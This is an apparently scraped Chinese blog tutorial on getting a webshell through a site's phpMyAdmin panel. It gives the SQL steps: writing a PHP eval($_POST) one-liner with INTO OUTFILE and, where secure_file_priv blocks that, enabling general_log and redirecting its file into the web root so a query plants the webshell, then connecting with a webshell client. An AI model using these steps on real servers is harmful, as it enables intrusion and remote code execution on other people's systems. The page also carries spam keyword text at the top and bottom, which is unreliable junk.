久久精品人人爽,华人av在线,亚洲性视频网站,欧美专区一二三

phpmyadmin中getshell有什么用

149次閱讀
沒有評論

共計 1643 個字符,預計需要花費 5 分鐘才能閱讀完成。

自動寫代碼機器人,免費開通

這篇文章主要介紹了 phpmyadmin 中 getshell 有什么用,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓丸趣 TV 小編帶著大家一起了解一下。

phpMyAdmin 是一個以 PHP 為基礎,以 Web-Base 方式架構在網站主機上的 MySQL 的數據庫管理工具,讓管理者可用 Web 接口管理 MySQL 數據庫。借由此 Web 接口可以成為一個簡易方式輸入繁雜 SQL 語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優勢在于由于 phpMyAdmin 跟其他 PHP 程式一樣在網頁服務器上執行,但是您可以在任何地方使用這些程式產生的 HTML 頁面,也就是于遠端管理 MySQL 數據庫,方便的建立、修改、刪除數據庫及資料表。也可借由 phpMyAdmin 建立常用的 php 語法,方便編寫網頁時所需要的 sql 語法正確性。

通俗的講 其作用就是可以在 web 頁面方便的操作數據庫。

當我們得到一個站點的 phpmyadmin 頁面時,下一步要做的就是 getshell。

可以通過寫 shell 進行提權,而我們需要滿足以下條件:

1. 數據庫 root 權限

2. 知道網站的物理路徑

3. 數據庫有寫權限

通過  select ?php eval($_POST=[123];)? INTO OUTFILE 網站物理路徑 寫入 shell

本文主要講的是在條件 3 不滿足的情況下成功 getshell。

利用條件:MySQL 5.0+

MySQL 5.0+ 的版本會自動創建日志文件,那么在服務運行的情況下修改全局變量也是可以變動文件位置的,但是必須要對生成日志的目錄有可讀可寫的權限。

(Linux 環境下可能會比較苛刻,因為站點目錄是一個用戶,MySQL 是另外一個用戶,權限管控較為嚴格,主要取決于權限配置是否得當)

首先我們測試站點是否有寫權限

執行 sql 語句               SHOW VARIABLES LIKE secure_file_priv

phpmyadmin 中 getshell 有什么用

phpmyadmin 中 getshell 有什么用

sql 語句 SHOW VARIABLES LIKE secure_file_priv   進行查詢 查找 secure_file_priv

secure-file-priv 特性
secure-file-priv 參數是用來限制 LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() 傳到哪個指定目錄的。

當 secure_file_priv 的值為 null,表示限制 mysql 不允許導入 | 導出

當 secure_file_priv 的值為 /tmp/,表示限制 mysql 的導入 | 導出只能發生在 /tmp/ 目錄下

當 secure_file_priv 的值沒有具體值時,表示不對 mysql 的導入 | 導出做限制

可以在 mysql-ini 文件中設置其屬性

phpmyadmin 中 getshell 有什么用

經測試,我們沒有寫權限

phpmyadmin 中 getshell 有什么用

然后再介紹兩個 MySQL 全局變量(general_log、general_log file)

general log 指的是日志保存狀態,一共有兩個值(ON/OFF)ON 代表開啟 OFF 代表關閉。

general log file 指的是日志的保存路徑。

我們可以通過將一句話木馬寫入 mysql 日志中然后移動 mysql 日志路徑到網站目錄下實現 getshell

執行 sql 語句   SHOW VARIABLES LIKE general_log%   進行模糊查詢

phpmyadmin 中 getshell 有什么用

日志默認關閉

我們執行 sql 語句

set global general_log =  ON  # 開啟日志
SET global general_log_file= 網站下物理路徑  # 更換日志路徑

phpmyadmin 中 getshell 有什么用

成功創建

phpmyadmin 中 getshell 有什么用

phpmyadmin 中 getshell 有什么用

然后執行特殊的查詢語句

select  ?php eval($_POST[aaa]);?

phpmyadmin 中 getshell 有什么用

我們進入 112233.php 進行驗證,成功寫入 shell

phpmyadmin 中 getshell 有什么用

最后進行菜刀連接,獲得站點 webshell

phpmyadmin 中 getshell 有什么用

感謝你能夠認真閱讀完這篇文章,希望丸趣 TV 小編分享的“phpmyadmin 中 getshell 有什么用”這篇文章對大家有幫助,同時也希望大家多多支持丸趣 TV,關注丸趣 TV 行業資訊頻道,更多相關知識等著你來學習!

向 AI 問一下細節

正文完
 
丸趣
版權聲明:本站原創文章,由 丸趣 2023-12-16發表,共計1643字。
轉載說明:除特殊說明外本站除技術相關以外文章皆由網絡搜集發布,轉載請注明出處。
評論(沒有評論)
主站蜘蛛池模板: 泽库县| 石嘴山市| 炎陵县| 越西县| 山丹县| 马边| 罗江县| 双城市| 竹北市| 佛教| 波密县| 富平县| 通化市| 凤冈县| 延吉市| 和政县| 大安市| 曲阜市| 三穗县| 分宜县| 上饶县| 雅江县| 拜城县| 长武县| 荃湾区| 禄劝| 安徽省| 长春市| 胶南市| 溧水县| 内黄县| 姜堰市| 北宁市| 柯坪县| 蒙自县| 青田县| 腾冲县| 大石桥市| 习水县| 桦川县| 泸溪县|